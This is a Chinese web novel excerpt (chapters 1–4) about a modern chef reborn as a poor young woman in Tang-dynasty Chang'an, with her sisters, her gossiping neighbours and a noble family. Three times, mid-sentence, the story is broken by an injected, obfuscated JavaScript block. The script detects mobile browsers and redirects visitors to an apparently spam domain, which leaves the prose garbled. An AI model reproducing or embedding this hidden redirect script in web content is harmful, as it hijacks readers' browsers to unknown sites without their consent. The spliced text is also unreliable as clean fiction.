《长安城美食录》 1. 红糖鸡蛋 “听说那崔娘子跳河了？” “可不是！都好几天了，你才知道？” 闲来无事，有好事的街坊邻里凑在一起闲话家常，很自然地谈论起最近的热点事件。 有人摇头感叹：“这崔家真是够惨的，前些年那贩鱼的崔大郎因着一根小鱼刺丢了性命，妻子田氏伤心过度，没过两年也跟着撒手人寰，家里就剩下三个女儿，如今长女也想不开投了河，真是……唉！” “得亏后来人救上来了。”有人边磕着瓜子边道，“好在与崔娘子定下娃娃亲的程家大郎为人仁厚宽和，想来日后能宽慰崔娘子一二。” 人群中沉默几秒，忽有人道：“说来也怪，那崔娘子如今已快到双十年岁，又与程大郎青梅竹马、情投意合，两家早该成亲了才是，怎的至今仍待字闺中？” 众人闻言，你看看我，我瞧瞧你，不说话了。 莫非……莫非崔娘子投河的原因与程大郎有关？ 崔时钰不知自己又成了风暴中心，正躺在床上望着房梁发呆。 上辈子她是个知名厨师，结果熬夜给客户定制宴席菜谱时不幸猝死，再睁眼便来到了这异朝异世的大唐。 穿来已有几日，崔时钰仍有些不习惯。 就拿眼前的卧房来说，一张低矮木床几乎占据了整间屋子，用来糊窗的麻纸还有几处漏风的缝隙，外头的小风不时钻进来，带着丝丝凉意。 崔家的家庭条件比她想象中还要拮据。 长安城内的人集中居住在北部，也是皇宫和官府所在，南部各坊人口稀疏，居住着做普通生意的平头百姓。 崔家就在南部的最南端。 原身父亲在世时身材魁梧、身手敏捷，是长安城中的捕鱼好手，谁承想因为鱼刺扎手感染破伤风而丢了性命；母亲是名手艺精巧的绣娘，生意极好，可是后来因为流了太多眼泪，眼睛不大好了，没法继续做绣活维持生计。 小女儿年纪太小不必多说，大女儿和二女儿不善女红，并没有继承她的优秀技艺，绣出来的东西只能称为平平无奇。渐渐地，只有零星几个老顾客还愿意来崔母这里光顾生意。 除了当初给崔父治病花费太多银钱，这也是后来崔家拮据至此的原因。 崔时钰无声叹了口气，从床上爬起来。 早在从河里上来当天她就能够下地，然而两个妹妹说什么也不让，硬是让她好生卧床休息。 这辈子崔时钰有两个妹妹，大的名叫崔时锦，今年十四岁，性子沉稳安静；小的那个叫崔时宁，只有六岁，还是个懵懵懂懂的奶团子。 两个妹妹对她跳河一事很是心有余悸，这几日睡觉都要一左一右挨在身侧，生怕她跑了似的，还紧抓着她的手不放。 “阿姊，你不能再这样吓我们了。”昨日小妹语气里仍带着哭腔，二妹也抿唇憋泪点头。 崔时钰只好挨个摸头安慰，“好，阿姊不会再那样了。” 既占了这位崔娘子的身体，自然不能对人家的家事置之不理，更何况，如今这已经是她的家事了。 穿过与卧房同样破旧的小院，崔时钰循着记忆一路来到庖厨。 崔家庖厨的布局十分简单。 泥坯垒的灶台占去小半间屋子，灶台上架着两口铁锅，一口用来煮粥焖饭，另一口用来炒菜；下头是灶膛，旁边是半人高的水缸，缸沿搭着葫芦瓢和刷碗用的丝瓜瓤子。 墙上贴着去岁请来的灶王爷像，已经被油烟熏得发黄。 因着三文钱的胡饼足够姊妹三人吃上一天，原身为了省钱便甚少下厨，只偶尔炒个青菜改善生活，是以案板上面空荡荡的，除了前两天没吃完的几段葱姜，便只剩崔时钰特意让妹妹买来的鸡蛋和红糖。 红糖补血，鸡蛋养气，她如今身子虚，很适合吃碗红糖鸡蛋来补补。 虽然做菜环境由现代转为了古代，但崔时钰作为大厨的敏锐度仍在，迅速熟悉一下工具便进入了状态，取火石将一把干树叶点燃放入灶膛，边观察火势边逐步添入木柴，很快火就旺了。 唐朝的铁锅形状为圆心浅腹、薄壁、球面，导热极快，片刻里头的水便咕嘟咕嘟冒起泡来。 这时候唐人将红糖称作“沙糖”，价格不菲，当初姐妹几人狠了狠心才只舍得买下两小块，如今被崔时钰取来扔进锅里，红得发黑的糖块徐徐融化，把一锅清水都染成褐色。 崔时钰又快手切了些姜丝搁进去，这才敲开三枚鸡蛋滑入锅中。 鸡蛋在糖水里慢慢凝固，甜香混着蛋香顿时飘满庖厨。 崔时钰闻着甜香的味道出神，思绪从“猝死前也不知道把锅关了没有”转移到落水后发生的事。 她知道自己是被人救上来的。 河水冰冷刺骨如针，那人箍在她腰间的手却滚烫似火。 崔时钰心中并无绮思，只想着能报答那人的救命之恩，可惜对方好像并不打算给她这个机会，把她从河里捞上来便干脆利索地离开了。 这也许就是大唐版的做好事不留名吧。 也不知这位恩人是否姓雷。 崔时钰摇摇头，瞧见锅里的糖水蛋已经煮得差不多了，伸手从橱柜里摸出三只粗瓷碗——豁口的，没灰，倒是干净。 刚出锅的红糖鸡蛋盛在粗瓷碗里，热气蒸腾而起，白嫩的鸡蛋卧在中央，裹着滑嫩的蛋黄在糖水悠悠晃荡，飘出细小的蜜色糖沫。 崔时钰刚将三碗糖水蛋分别盛好，阿锦和阿宁便抱着柴火回来了。 两人刚一进门就不约而同抽了抽鼻子。 “这是什么味儿？甜香甜香的。” 将前铺后院转了个遍，姐妹二人终于将信将疑地走进庖厨，刚进门就被浓郁的甜香扑了满脸。 红糖的香甜中裹着一丝焦香，像是烤得微微发焦的糖块，隐约还能嗅到若有若无的姜辛，微微的辛辣与蛋香交织在一起，暖融融地扑在脸上，光是闻着就让人陶醉不已。 本来应该躺在床上休息的阿姊正站在灶间，捧着一只冒热气的碗笑望着她们：“阿锦阿宁回来啦，快来吃糖水蛋，刚出锅，还热乎着呢。” 崔时锦本想让阿姊再回床上多休息片刻，然而接过碗一瞧，便忘记方才要说什么话了。 粗瓷碗里，热气腾腾的褐红糖液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626266|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛着诱人光泽，圆润饱满的鸡蛋沉在碗底，周围还飘着几缕细碎姜丝。 她不由自主地咽了咽口水。 上次吃糖水蛋是什么时候来着？她已经不记得了。 “哇，是糖水蛋！”小妹阿宁可没她这么沉着，迫不及待地捧起碗就是一大口，整张小脸几乎要埋进碗里，边喝边感叹：“好甜呀！”喝完糖水又开始吃起鸡蛋。 嫩滑的鸡蛋裹着糖液，甜蜜温暖地从喉咙滑进胃里，她感觉自己整个身子都暖了。 怎么会这么好吃！ 被妹妹夸张的吃相影响，崔时锦也捧起碗喝了一口。 糖汁滑进喉咙，甜里藏着微微的辣，甫一咬开鸡蛋，嫩生生的蛋清和蛋黄便裹着糖汁溢了满嘴。 这一吃一喝便停不下来，再抬头时，粗瓷碗里已经空空如也。 崔时钰这边也喝得差不多了，从碗中抬起头来，瞧见两双亮晶晶的眼齐刷刷朝她望过来，不由得笑了：“好喝不？以后阿姊多做给你们吃。” 当然，得在她赚到钱之后，毕竟这时候的红糖可不便宜。 这几日来她已经想好了今后的营生：她一身厨艺在身，想来在这长安城填饱肚子不算难事，况且前头正好有间铺子——崔父当年就是在这间铺子里卖鱼的，很适合改为一间小饭馆，不过得先装修大改一下，鱼腥味有点重……装修费又是一笔不小的开支！ “阿钰，你在家吗？”一道略苍老的女声突然从门外传来，打断了她的思绪。 崔时钰眨眨眼，这声音她这几日已经听了数遍。 隔壁邻居王五娘是个五六十岁的妇人，自从知晓她那日落水之后，时不时便提着豆腐来探望她——没错，王五娘做的卖豆腐生意。 崔时钰边往门外走边道：“婶娘，我在家。” 刚一出门，便瞧见王五娘正拎着八块方方正正的豆腐块站在门外。 担心她累着，王五娘并不叫她拿，只是把豆腐放在桌上，招呼道：“阿钰，今日的豆腐，别忘了吃啊。” 崔时钰有些不好意思：“婶娘，您瞧，我现下已经好了……” 不等她说完王五娘便道：“好孩子，你那日可是遭了大罪了，在冷水里滚过一遭，如何轻易补得回来？可惜婶娘没什么好东西能给你，只能拿这些豆腐来给你补身子，你就收下吧！” 王五娘边说边把放在木桌上的豆腐往她面前推了推。 盛情难却，再加上自己确实需要，崔时钰没有推辞，轻声道了句“多谢婶娘”便接了过来。 豆腐似乎是刚点出来的，热乎乎的温度传递至掌心，暖得她心口微微发颤。 崔时钰扬起一个真心实意的笑容：“还没来得及告诉婶娘，昨个的豆腐极好吃，婶娘做豆腐的手艺越发好了。” 王五娘不语，只是心疼地瞧着她。 曾经桃花般粉嫩的脸颊此刻依然苍白如纸，几乎能看到皮下的青色血管，仿佛随时都会被风吹破。 不知道要吃多少豆腐才能补回来。 王五娘盯着她看了半晌，不知想起了什么，恨声骂道：“程大郎真不是个东西！” 2. 邻里相亲 “那程大郎也算是我从小看着长大的，小时候粉粉嫩嫩的一个奶娃子，谁知道长大之后竟是个良心被狗吃了的白眼狼！不过是考过了解试，就做上了飞黄腾达的美梦，竟然、竟然……” 王五娘说不下去了。 王五娘是个五十多岁的妇人，丈夫没得早，膝下只有一子，如今与妻子远在蜀地打工，留下一个不到六岁的女儿娇娇，住的地方离崔氏三姊妹只隔了一道院墙，按照本朝的家庭地址登记方式，两家都要写“长乐坊南门附近”，是不折不扣的近邻。 打崔娘子记事开始，家里便与这位王婶娘经常来往走动，今日我送你豆腐、明日你送我绣帕，关系亲近非常。 对方自然知晓崔娘子当初的定亲之事。 崔时钰知道她这句未尽之言要说什么。 程大郎，大名程同，是原身的青梅竹马，两人从小到大感情甚笃，双方父母喜闻乐见，顺理成章给两人定下娃娃亲。 从小到大，程同对崔娘子关怀备至、体贴入微，是她疲惫生活中一抹不可多得的亮色。 一切美好结束于程同考过解试后不久。 他不再温柔小意，对待崔娘子再没了从前那份耐心，总找借口躲着她，却又不肯干脆利落告诉崔娘子自己的真实想法。 ——要崔时钰来说，这就是妥妥的冷暴力。 而崔娘子或多或少也能猜到其中原因：他是过了科考的青年才俊，未来广阔天地大有可为，而自己带着两个妹妹，守着一个无人问津的铺子艰难讨生活，程大郎会嫌弃她也是人之常情。 只是这么多年的感情，崔娘子想听他亲口说出来，咬牙写了封信给程同，约他在幼时常一起玩耍的小河边相见。 程同如约而至。 就像崔娘子想象中那样，他虽然没有明说，但言语举止之间，的的确确是瞧不上她了。 这些年来，崔娘子经历了许多悲欢离合，早已麻木，面对青梅竹马的未婚夫退婚也能平静对待。 只是程同不应该说那句话。 他笑意吟吟地往崔娘子心窝捅了最深的一刀：“有朝一日，阿钰若遇得做屠豕杀鸡生意之人，也算门当户对，可当嫁了——再不济，去寻个大户人家当通房也是条出路。” 这句话成为压垮崔娘子的最后一根稻草，也成了她自寻短见跳河的直接原因。 回忆完崔娘子的短暂一生，崔时钰心头唯余叹息。 渣男啊渣男你害人不浅！ 见她许久没有出声，王五娘觑着她的神色小心翼翼开口：“婶娘是不是说错话了？阿钰，你可千万别想这些伤心事了，好好养身体，我以后再也不提那贼王八了——刚才婶娘的话，你就当是放屁！” 阿钰是她从小看着长大的，可以说是除儿子孙女外最了解的小辈。 小娘子温柔贤惠，性子像水一样，说起话来熨帖得很，但也有缺点，那就是温柔得有些过火了。甚至可以说唯唯诺诺、逆来顺受。 刚才那番话，她虽然面上不显，但只怕又要往心里去了……唉，都怪她一时嘴快！ “婶娘说得对。” 王五娘的思绪被崔时钰打断，诧异望去，只听她慢悠悠开口：“那人的确是个无耻之徒，与这样的人断了来往，日后不必为他生儿育女、相夫教子，是我赚了。婶娘，你说对不对？” 王五娘愣愣地瞧着她。 阿钰的反应……和想象中不太一样啊。 少女面色虽依旧苍白如纸，但方才说话时，那双原本总是带着几分怯意的眼睛竟透出了几分锐利的光芒。 王五娘有些惊讶，随即又很快释然。 她本就希望阿钰能坚强些，这番通透无比的话真真是说进了她的心坎里——看来，这落水一遭说不定还算因祸得福了。 “对对对，太对了！”王五娘拍了拍崔时钰的手，发自内心笑着说，“你能这样想婶娘就放心了，我还担心你会想不开呢……阿钰，你老实告诉我，你方才那些话都是真话，不是哄我高兴的吧？” 崔时钰哑然失笑，摇摇头：“我怎会说假话哄骗婶娘？刚才那些都是我的真心话。” 她的确是这样想的。 她是死过一次的人，好不容易捡回一条小命，有什么理由不珍惜？ 她会在这异朝好好活下去，不光是为了崔娘子，更是为了她自己。 见她清水般的漆黑双瞳炯炯有神，王五娘彻底放下心来：“好孩子，你这样说我就放心了……这回是真的放心了！” 崔时钰朝她一笑。 王五娘是个大大咧咧的人，为人单纯又热情友善，有这样的邻居，她无疑很是幸运。 “那你先歇着，婶娘不叨扰你了，过会儿回屋再盖上被子好好睡一觉，别着凉，啊。”王五娘嘱咐崔时钰几句，得到她“一定会好好休息”的承诺便离开了。 刚出门便瞧见了阿锦和阿宁。 许是早早地失去亲人庇佑，崔家的三个女儿一个比一个懂事，这几日，她每每来时总能瞧见阿锦和阿宁在屋里照顾阿姊，知道她有话要对阿钰说便懂事地离开，在屋外等着，说什么也不进去。 王五娘看着她们露出慈爱的目光。 崔时锦托着下巴，还在回味方才那碗糖水蛋的滋味，冷不防瞥见王五娘高瘦的身影，连忙站起身来唤道：“婶娘！” 王五娘应了一声，摸了摸她的脑袋，“阿锦啊，凳子冰不冰屁股？现在还没到中和节，天冷得很，你快带着阿宁进屋暖和暖和。” 虽然屋里也没多暖和。 “我知道了，婶娘，我一会儿就带着阿宁进屋。”崔时锦沉默片刻，抬起头来，神色有些担忧，“婶娘，我阿姊她还好吗？” 突然去庖厨煮了碗糖水蛋，还真叫她有些不放心。 若是放在之前，王五娘尚且估摸不准这个问题的答案，但现在，她可以拍着胸脯保证：“放心吧，阿锦，你阿姊没事了！你快带着妹妹进屋去瞧瞧她吧，我先走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626267|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，娇娇现在还一个人在家呢。” 崔时锦听完若有所思，既然婶娘这样都这样说了……那阿姊就是真的没事了吧？ 尽管如此，她仍有些放心不下。 “好，婶娘慢走，劳烦您跑这一趟了。”她回过神来，礼貌道。 崔时宁左瞧瞧二姊，右瞧瞧婶娘，也跟着奶声奶气喊了一声“婶娘慢走”。 “诶！” 阿钰想明白了，不会再被旧事困扰，两个妹妹礼貌懂事又可爱……屋里头也不知道煮了什么，甜香甜香的。 一切都在朝好的方向发展。 王五娘迈着小碎步，心满意足地离开了。 谁知还没走到家门口，她的好心情便消失得无影无踪。 原因无他，她碰见了住在隔壁的张六娘。 张六娘刚从自家胭脂铺子回来。 连着好几日生意不好，都没人来买她的胭脂。 自打那日崔家大娘跳了永安渠，铺子里的客人就跟去看热闹不回来了一样，真是烦死了！ 她正不快，突然瞧见王五娘正从崔家出来，顿时来了兴致，眼珠滴溜一转便凑上前问道：“五娘，你可是刚从崔家出来？” 王五娘不愿与她多谈，一是娇娇还在家里等着，二是她实在不喜对方，含含糊糊应了一声，转头就要往家迈。 谁知下一秒张六娘突然开口道：“要我说，那崔家大娘根本不值得你对她如此掏心掏肺。” 王五娘停住步子。 张六娘这几日心里一直憋着股气，寻到一个出气筒便开始发作起来：“你瞧瞧她，明明爹娘都有门能养活自己的手艺，她作为家中长姊，身无长物不说，还心思脆弱，不知在哪儿受了点委屈便寻了短见，我若是程大郎那样有本事的人，我也……” 她那句没说完的“瞧不上她”在王五娘阴恻恻的目光下咽了回去。 这便是王五娘不喜对方的原因。 张六娘此人是典型的“气人有笑人无”，嫉妒心极强，虽然没什么害人的胆子，但嘴巴毒得很，一张嘴就能把人熏出二里地之外。 同为邻居，王五娘自然是更爱亲近崔家。 “未经他人苦，莫劝他人善。”王五娘沉声道，“六娘，你若是经历了崔家大娘这些年的事，恐怕早就寻一根粗麻绳吊了，哪里有机会在这儿说闲话？” 王五娘说完便进了院子，砰的一声关上了大门。 张六娘被飞起的尘土扬了一脸。 “呸呸呸！” 她自知自己方才那番话不算动听，一边呸着飞到嘴里的尘土，一边警惕地四下望了望，确定没人听到她方才说的闲话，这才悻悻地回了家。 崔时钰不知道刚才以她为中心发生了一场小型战争，正垂眸凝视着自己的手臂。 太细了，比大葱段粗不了多少。 这怎么能颠得动勺？ 身体是革*命的本钱，她得想办法让身子快点强壮起来才是。 3. 高门望族 谢府。 谢宵沿着青石小径缓步而行。 两侧的垂柳在微风中轻轻摇曳，细长的柳条不时拂过他的肩头，他抬手拨开，指尖沾了些许微凉的露珠。 见状，一旁的书童墨竹马上开口：“二郎可需要斗笠或是纸伞？奴前去取。” “何必如此紧张。”谢宵伸手拦住他，漫不经心拨弄腰间玉佩上的流苏，“我倒觉得有这些小水珠作伴，一路上有意思得紧。” 他身形颀长，生得一副好相貌，剑眉斜飞入鬓，唇若涂朱，一双桃花眼似笑非笑，眼尾微微上挑，带着几分少年人特有的潇洒不羁。 谢宵今日穿一身月白色圆领窄袖袍，袍角绣着暗纹宝相花，随着他走路的动作若隐若现，腰间蹀躞带上悬挂着的羊脂玉佩雕工精细，正在阳光下泛着莹润的光泽。 这玉佩是他十五岁那年母亲所赠，说是能保平安。谢宵虽不信这些，但为着母亲这份心意，一直佩戴在身。 墨竹笑了笑，点头道：“二郎说得是。” “你性子安静沉稳，做事一丝不苟，青松却与恰恰你相反，爱玩爱闹，若不是他今日去了东市买桂花糕，遇见这片竹林雨，只怕比我还要高兴。” 谢宵若有所思，“说起来，你兄弟二人这迥然相异的性格，倒是有些像我与阿兄。” 墨竹被他说得快要滴汗，忙道：“二郎说笑了，二郎天资聪颖，大郎亦是人中龙凤，奴与青松不过是粗鄙之仆，能够在二郎身边伺候已是天大的福分，怎敢与大郎和二郎相提并论。” “就知道你会这么说。”谢宵不赞同地撇撇嘴。 阶级身份地位，原本就是他最不在意的东西。 他不再言语，伸手接住一片飘落的柳叶，指尖轻轻一弹，柳叶便打着旋儿落入了廊下的池塘中。 一路穿过垂花门，眼前豁然开朗。 假山叠翠，竹林掩映，几尾锦鲤在水间游弋嬉戏，一池碧水映着天光。 前方正室的门扉半掩，隐约传来茶盏轻碰的声响。 门口几个奴仆朝谢宵谢礼，后者摆摆手，整了整衣冠，抬步迈过门槛。 入目是一张紫檀木雕花屏风，旁边的案几上摆着青铜香炉，袅袅青烟升起，清冽的沉香盈满整间屋子，与屋外的竹香迥然相异，但同样清新好闻。 旁边多宝阁上陈列着各色八宝法器，□□、法螺、宝伞、白盖、莲花、宝瓶、金鱼、盘长，最显眼的是一只青瓷莲花盏，釉色莹润，光晕十足。 谢父乃四品忠武将军，时常受圣人赏赐，这套法器便是谢父最爱，自圣人恩赏后便一直摆在家中。 谢宵绕过这些象征着荣誉的宝器，转过来便见父亲端坐在正中的太师椅上，手中把玩着一枚白玉扳指，母亲坐在下首喝茶，兄长谢珏则站在窗前，望着院中的风景出神。 三个人各有所忙。 谢宵清咳一声：“阿爹，阿娘，阿兄，今日休沐，我回来了。” 说完行了个标准的拜礼，墨竹跟着他一同行礼。 礼毕，谢宵直起身来，阳光正好照在他的侧脸，勾勒出俊美的轮廓，那双桃花眼中闪过一丝狡黠，嘴角的笑意更深了几分：“十日不见，阿爹阿娘和阿兄可有想我？” 谢父哼了一声，十分不配合地说了句“没有”，谢珏淡淡道了声“不曾”，只有谢母放下茶壶，招手示意谢宵近前，眼中带着慈爱的笑意：“承安，快过来让阿娘看看，这些日子在书院可还习惯？” 谢宵依言走过去，边走边转了个圈，试图让母亲将自己看得更仔细些，笑道：“劳母亲挂怀，承安在广文馆一切都好。” “一切都好？”谢珏不知何时离开了窗前，踱步走到他身旁，“《五经正义》可都会背了？” “这是当然。”谢宵看着比自己大了十几岁的兄长，“不过阿兄，今日我好不容易休沐，你确定要说这些？” “这是当然。”谢珏冷酷无情。 “好了好了，伯瑾，承安好不容易回家一次，你就放过他吧。”谢母出来打圆场，把两人劝服后小声对谢宵说，“你嫂嫂今日出去游玩，不在你阿兄身边，所以他才有些不大高兴。” “哦？难怪如此，原来是害了相思病。”谢宵来了兴致，双臂抱胸走到谢珏身边，“阿兄，我阿嫂去哪儿了，怎么没跟你在一起啊？” 他自觉扳回一城，十分得意。 然而谢珏答道：“阿瑶和三娘结伴去曲江游玩了。” 于是谢宵便笑不出来了。 谢珏趁热打铁，见父亲母亲重新凑在一块吃茶玩扳指，暂时没留神他们这边，略略压低声音，不紧不慢开口道：“听闻你前段时间又救了一位女郎。” 谢宵正接过墨竹递来的茶水慢品，闻言差点被茶水呛到。 他没有问兄长是怎么知晓这件事的——谢珏乃长安城京兆尹，是穿紫袍、配金鱼袋的从三品实职官，手下有诸多得力助手，永安渠又是长安城内的大河，要想知道这条河何时发生了何事，对谢珏来说易如反掌。 “那女郎落水，我又正好路过，救人一命胜造七级浮屠，我总不能见死不救——而且，我当时扯了头冠，还蒙了面，并没有暴露身份。”谢宵有理有据道。 “这倒是。”谢珏淡淡开口，“周明也只查出了落水者身份，并不知救人者究竟是谁。” 谢宵做好事不愿留名是很有一番原因的。 这原因便与今日与嫂嫂一同结伴出游的郁三娘有关。 去岁暮春，他在朱雀大街遇见几个纨绔子弟围着一位以帷帽遮面的女郎调笑，言语不堪入耳。 那女郎似乎被吓得慌了神，惊慌失措地连连后退，见她如此，为首纨绔更是得意，伸手要去拉她的衣袖。 谢宵眉头一皱，快步上前，“光天化日之下，几位这是做什么？”声音清朗，却带着不容置疑的威严。 纨绔们回头，认出他的身份，自知惹不起，顿时讪讪地散了。 见风波已平，谢宵朝那位女郎微微颔首后便离开了，并未将这此事放在心上。 后来他才知道，那日他出手相助的女郎竟是阿嫂的三妹。 从那天起，这位郁三娘便频频出现在他面前，不是在茶楼偶遇，便是在书肆巧逢。 谢宵想起来就一阵头大。 同窗早已娶妻生子纳妾，他却像没长情丝那样，对那些风花雪月之事毫无兴趣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626268|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >友人杨明曾对此评价：“你做的事和你这张脸可不太相符。” 当时谢宵勾唇一笑，没有说话。 他知道自己想要什么。 他只愿遇一倾心之人，终一世与她相伴，白首到老。 就像阿爹和阿娘、兄长和嫂嫂那样。 如果遇不到心中所求的那个人，那他一人孤独终老也无妨。 当然，谢宵并不打算把自己这段“大逆不道”的言论告诉任何人。 他自己知道便好。 “你把那女郎救上来之后就走了？”谢珏抿了口茶问道。 “不完全是。”谢宵思索着当日的情形，“我隔着衣服搭了她的脉才走的。” 谢母曾是颇负盛名的医女，因着这份缘故，谢宵和兄长谢珏一样，都略通些岐黄之术，搭个脉自然不在话下。 “那女郎虽然落水，脉搏却清晰规律、适中有力，想来身体底子不错。我相信，此番过去，她一定能化险为夷，平安无事。” * 底子很好的崔时钰正有条不紊制定自己的健身计划。 她发现崔娘子虽然身材偏瘦，但身体十分健康，从刚化冻没几天的冰冷河水里捞上来，居然没隔几天就准时来了月事，并且一点都不疼。 崔时钰大为震撼。 忘记从哪里看过一个科普，说是身体过于亏虚或受了寒凉都会导致月经不调，她这次在冷水里滚了一遭，居然一点没受影响。 上辈子颠了一辈子勺的身体都没健康到这种程度，偶尔还痛经呢！ 尽管身体还算健康，但崔时钰也没急功近利到月经期间就开始锻炼身体，她老老实实在床上躺了几天，没闲着，为自己制定了一份健身计划。 前世，崔时钰从十一岁开始进行系统的身体训练，最常做的是俯卧撑、深蹲和平板支撑。 对于厨师来说，这几项运动好处多多：俯卧撑可以训练上肢力量，有助于在烹饪中完成切菜、颠勺等动作；深蹲可增强大腿肌肉力量，为长时间站立烹饪提供支撑；平板支撑则能够让身体在烹饪过程中保持稳定性。 除此之外，为了在长时间的烹饪工作中保持良好的体能，她每天还会做半小时以上的慢跑、游泳等有氧运动。 心急吃不了热豆腐，一口气吃不成肌肉女，要让现在的她完成从前那种“先做几组俯卧撑，接着慢跑半小时，再完成几组深蹲”的循环训练，简直是天方夜谭。 而且说不定还会吓到阿锦和阿宁，让她们以为自家阿姊鬼上身了——虽说这句话从某种程度上来说的确没错。 是以崔时钰决定，等月事结束之后，先从慢跑开始，循序渐进地让身体强壮起来，为以后的颠勺做准备。 拟好健身计划，崔时钰翻身从床上爬起，换上窄袖短襦和一件洗得泛白的青色布裙，裹上布巾便出了门，准备去集市采买些吃食。 要想强身健体，饮食的重要程度不言而喻。不光为她，阿锦和阿宁也都还在长身体，三人都很有必要吃顿好的。 崔时钰思来想去，想到两样既能补充蛋白质，价格也相对没那么贵的食材：鱼和豆腐。 加在一起，豆腐鱼汤这不就有了嘛！ 4. 集市之行 清晨，阳光在青石板铺出一片金黄，空气中弥漫着食物的香气，与各种香料和新鲜蔬果的清香混杂一起，光是闻着便觉十分热闹。 长安西市，向来是长安城最热闹的地方之一，素有“金市”之称，《长安志》更是载其“店铺林立，四方珍奇，皆所积集”。 街道两旁摊位林立，小贩们的吆喝声此起彼伏，仿佛永远没有停歇之时。 “刚捞上来的鲫鱼，又肥又鲜，炖吃熬汤都极好，保准位郎君娘子吃了还想吃！” 鱼摊摊主郭大郎扯着一把粗犷的嗓子，手里拎着一条还在挣扎的鲫鱼，水珠四溅，引得路过的人纷纷侧目。 郭大郎的鱼摊在西市已经营了二十余年，着实称得上“老字号”。他的鱼新鲜，卖价也公道，生意比那些不知名的小摊要好得多。 郭大郎也爱在西市做生意。 西市人多，来买鱼的自然也多，有好多次他的客人里面还出现了几个高鼻深目、胡须浓密的胡人，瞧着新鲜得很。 他也去东市贩过鱼，只不过东市的客人都是些达官显贵，没人瞧得上这几条下里巴人的鱼，郭大郎去了没几天便不爱去东市了，自此在西市安营扎寨。 “郭大郎，今天生意不错啊。”隔壁卖菜的刘大娘一边整理着摊子上的青菜，一边笑着搭话。 “就那样吧！”郭大郎笑眯眯回应，手上动作不停，熟练地将一条鲫鱼剖开清理内脏。 刘大娘没继续这个话题，话锋一转：“你听说了吗？前几天那个跳河的小娘子竟是长乐坊崔家的大女儿。”她压低声音，眼神里带着几丝八卦的兴奋。 郭大郎手里的刀顿了顿，眉头微微一皱，“崔家的大女儿跳河？这是怎么回事？” 他认识崔家人倒不是因为那些人人传唱的悲惨事迹，而是因为崔大郎。 西市虽大，但他与崔大郎同做贩鱼生意，怎会没听说过对方名字？只是关系那么好罢了。 他生意火爆，早年没早遭同行陷害，偷偷药死他养在河里的鱼虾、说他的鱼不新鲜、说吃了他的鱼坏肚子的……各种手段应有尽有。 这些下作的人当中并没有崔大郎的身影。 因着这点，郭大郎一直觉得，这崔大郎是个安分守己、踏踏实实做生意的人。 做生意，不怕对手优秀，就怕对手阴奸损坏，那真是比吃耗子屎还恶心。 崔家大女儿还小的时候他见过几次，印象中是个白净清丽、性子安静的小娘子。 至于对方长大之后，那便没怎么见过了。 “你还不知道啊？”刘大娘语调提高好几个度，仿佛郭大郎错过了什么惊天大新闻，“前几天的事了，那崔娘子不知怎么回事，突然间跳了河，幸好被人救上来了。啧啧，真是命大！” 听到“跳河”二字，郭大郎登时瞪大双眼，鱼都忘了拾掇，就那么愣愣地在手里举着，直到听到“被救上来”才松了口气，叹道：“那小娘子也是个苦命的，从小就没了爹娘，现在又闹出这种事。” “可不是！”刘大娘附和道，“那崔娘子长得标致，她那个青梅竹马的未婚夫也过了解试，前途大好啊！你说她怎么就……” “好了好了，别猜了。”郭大郎摆摆沾着鱼血的手，打断刘大娘的话，“人没事就行，人家的家里的事，咱们外人还是少掺和为好。” 刘大娘撇了撇嘴，显然八卦得有些意犹未尽，但见郭大郎不再接话，只好悻悻地转过头去，继续招呼自己的客人。 就在这时，不远处传来一阵喧哗声。 郭大郎抬头望去，瞧见一名打扮朴素的年轻女郎，手里拎着块豆腐，身边还跟着一个六七岁的小女孩，两人正沿着主路边走边看。 不必郭大郎仔细辨认，旁边的刘大娘已经激动得小声喊起来：“崔娘子居然逛集市来了！” 在其他人看来，崔时钰的脸色仍然有些苍白，表情却十分平静，仿佛根本不曾发生过前几日的跳河之事。 和她相比，她身边的小妹则活泼许多，一双葡萄珠似的眼睛好奇地四处张望，时不时扯扯姐姐袖子，指着某个摊位上的东西小声嘀咕。 “阿姊你看，那边有糖人！”崔时宁指着不远处的一个糖人摊子，眼睛里闪动着兴奋的光芒。 崔时钰微微一笑，轻轻揉了揉妹妹的头，“等会儿买完鱼阿姊再带你去买糖人，好不好？” 出门之前，她本想带着两个妹妹一同出来透风，阿宁自然是兴高采烈地答应下来，阿锦却没怎么犹豫地拒绝了。 “阿姊和阿妹去吧，我留在家里看家。” 被拒绝后，崔时钰仍不死心，努力诱惑二妹，“今日是天气晴朗，很适合出游”、“出去给你买好吃的”、“你都在家憋几天了”…… 然而崔时锦不为所动，坚持留在家里。 崔时钰觉得这孩子懂事得有些过分。 